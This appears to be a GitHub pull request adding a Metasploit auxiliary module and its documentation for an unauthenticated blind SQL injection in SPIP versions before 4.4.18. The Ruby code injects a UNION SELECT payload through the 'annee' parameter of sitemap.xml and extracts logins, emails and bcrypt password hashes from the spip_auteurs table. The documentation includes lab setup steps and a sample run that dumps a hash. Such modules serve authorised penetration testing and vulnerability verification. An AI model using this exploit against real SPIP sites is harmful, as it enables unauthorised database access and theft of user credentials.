Skip to content
Open
Show file tree
Hide file tree
Changes from all commits
Commits
File filter

Filter by extension

Filter by extension

Conversations
Failed to load comments.
Loading
Jump to
Jump to file
Failed to load files.
Loading
Diff view
Diff view
83 changes: 83 additions & 0 deletions documentation/modules/auxiliary/scanner/http/spip_annee_sqli.md
Original file line number Diff line number Diff line change
@@ -0,0 +1,83 @@
## Vulnerable Application

SPIP versions prior to 4.4.18 are affected by an unauthenticated blind SQL
injection in the date column escaping logic. The `_sqlite_calculer_cite()` and
`spip_mysql_cite()` functions skip SQL escaping for date-type columns when the
value matches `/^\w+\(/` (intended for SQL functions like `NOW()`). By injecting
a value like `abs(99999)) UNION SELECT ...` via the `annee` GET parameter on
the public `sitemap.xml` page, an attacker can execute arbitrary SQL.

The module uses boolean-based blind injection with binary search to extract
bcrypt password hashes from the `spip_auteurs` table.

Affected versions: SPIP < 4.4.18
Fixed version: SPIP 4.4.18

A vulnerable SPIP instance can be set up as follows:

```
wget https://files.spip.net/spip/archives/spip-v4.4.9.zip
unzip spip-v4.4.9.zip -d spip-v4.4.9
cd spip-v4.4.9
php -S 127.0.0.1:8080
```

Then visit `http://127.0.0.1:8080/ecrire/` to complete the installation wizard
(SQLite is easiest for testing). Create an admin account when prompted.

## Verification Steps

1. Install SPIP < 4.4.18
1. Start msfconsole
1. Do: `use auxiliary/scanner/http/spip_annee_sqli`
1. Do: `set RHOSTS [ip]`
1. Do: `set RPORT [port]`
1. Do: `run`
1. You should see extracted login, email, and bcrypt password hash for each user.

## Options

### ID_AUTEUR

The starting user ID to extract. SPIP assigns sequential IDs; the first admin
created during installation is typically `id_auteur=1`. (Default: `1`)

### MAX_USERS

Maximum number of consecutive user IDs to attempt extraction for, starting from
ID_AUTEUR. (Default: `5`)

## Scenarios

### SPIP 4.4.9 on Linux with SQLite

```
msf > use auxiliary/scanner/http/spip_annee_sqli
msf auxiliary(scanner/http/spip_annee_sqli) > set RHOSTS 127.0.0.1
RHOSTS => 127.0.0.1
msf auxiliary(scanner/http/spip_annee_sqli) > set RPORT 8080
RPORT => 8080
msf auxiliary(scanner/http/spip_annee_sqli) > run
[*] Running module against 127.0.0.1
[*] SPIP Version detected: 4.4.9
[*] Verifying blind SQLi via sitemap.xml annee parameter...
[+] Blind SQLi confirmed!
[*] Extracting user id_auteur=1...
[+] Login: jvoisin
[*] [10] spip@dustr
[+] Email: spip@dustri.org
[*] Extracting password hash (this takes a moment)...
[*] [10] $2y$12$iR/
[*] [20] $2y$12$iR/qL5rAIPQtl
[*] [30] $2y$12$iR/qL5rAIPQtlVSuCQieK.b
[*] [40] $2y$12$iR/qL5rAIPQtlVSuCQieK.bobNJUdyMtn
[*] [50] $2y$12$iR/qL5rAIPQtlVSuCQieK.bobNJUdyMtniOxILWvT23
[*] [60] $2y$12$iR/qL5rAIPQtlVSuCQieK.bobNJUdyMtniOxILWvT23t9L7..LXxK
[+] Hash: $2y$12$iR/qL5rAIPQtlVSuCQieK.bobNJUdyMtniOxILWvT23t9L7..LXxK
[*] No user with id_auteur=2, skipping
[*] No user with id_auteur=3, skipping
[*] No user with id_auteur=4, skipping
[*] No user with id_auteur=5, skipping
[*] Auxiliary module execution completed
msf auxiliary(scanner/http/spip_annee_sqli) >
```
116 changes: 116 additions & 0 deletions modules/auxiliary/scanner/http/spip_annee_sqli.rb
Original file line number Diff line number Diff line change
@@ -0,0 +1,116 @@
##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

class MetasploitModule < Msf::Auxiliary
include Msf::Exploit::Remote::HttpClient
include Msf::Exploit::Remote::HTTP::Spip
include Msf::Exploit::SQLi
include Msf::Auxiliary::Report

def initialize(info = {})
super(
update_info(
info,
'Name' => 'SPIP Unauthenticated Blind SQLi via Date Field Escaping Bypass',
'Description' => %q{
This module exploits an unauthenticated blind SQL injection in
SPIP < 4.4.18. The SQL quoting function for date-type columns
skips escaping when the value matches /^\w+\(/ (intended for
NOW()). By passing a value like abs(X)) UNION SELECT ... in the
annee parameter of the public sitemap.xml page, an attacker can
inject arbitrary SQL.

The module uses boolean-based blind injection to extract bcrypt
password hashes from spip_auteurs. A UNION SELECT with a WHERE
condition produces 2 URLs in the sitemap on TRUE vs 1 on FALSE.
},
'Author' => [
'Benoit Hua', # Vulnerability discovery
'ka3n1x', # Vulnerability discovery
'Franck Chevalier', # Vulnerability discovery
'Julien Voisin' # Metasploit module
],
'License' => MSF_LICENSE,
'References' => [
['URL', 'https://blog.spip.net/Mise-a-jour-critique-de-securite-sortie-de-SPIP-4-4-18.html']
],
'DisclosureDate' => '2026-08-10',
'Notes' => {
'Stability' => [CRASH_SAFE],
'SideEffects' => [IOC_IN_LOGS],
'Reliability' => []
}
)
)

register_options([
OptInt.new('ID_AUTEUR', [true, 'Target user ID to extract (1 = first admin)', 1]),
OptInt.new('MAX_USERS', [true, 'Maximum number of users to extract', 5])
])
end

def run
rversion = spip_version || spip_plugin_version('spip')
if rversion
print_status("SPIP Version detected: #{rversion}")
if rversion >= Rex::Version.new('4.4.18')
print_warning('Target appears patched (>= 4.4.18)')
end
end

@sqli = create_sqli(dbms: Msf::Exploit::SQLi::SQLitei::BooleanBasedBlind) do |payload|
res = send_request_cgi(
'method' => 'GET',
'uri' => normalize_uri(target_uri.path, 'spip.php'),
'vars_get' => {
'page' => 'sitemap.xml',
'annee' => "abs(99999)) UNION SELECT 1,2,3,4,5,6 FROM spip_auteurs WHERE #{payload}--"
}
)
next false unless res&.body

res.body.scan('<url>').length > 1
end

print_status('Verifying blind SQLi via sitemap.xml annee parameter...')
unless @sqli.test_vulnerable
fail_with(Failure::NotVulnerable, 'Boolean blind SQLi test failed')
end
print_good('Blind SQLi confirmed!')

max_users = datastore['MAX_USERS']
start_id = datastore['ID_AUTEUR']

(start_id..(start_id + max_users - 1)).each do |uid|
cond = "id_auteur=#{uid}"
rows = @sqli.dump_table_fields('spip_auteurs', %w[login email pass], cond)
next if rows.empty?

login, email, pass = rows.first
print_good(" Login: #{login}")
print_good(" Email: #{email}")
print_good(" Hash: #{pass}")

report_cred(login, pass) unless pass.empty?
end
end

def report_cred(login, hash)
credential_data = {
module_fullname: fullname,
workspace_id: myworkspace_id,
username: login,
private_data: hash,
private_type: :nonreplayable_hash,
jtr_format: 'bcrypt',
origin_type: :service,
address: rhost,
port: rport,
protocol: 'tcp',
service_name: (ssl ? 'https' : 'http')
}
create_credential(credential_data)
end
end
Loading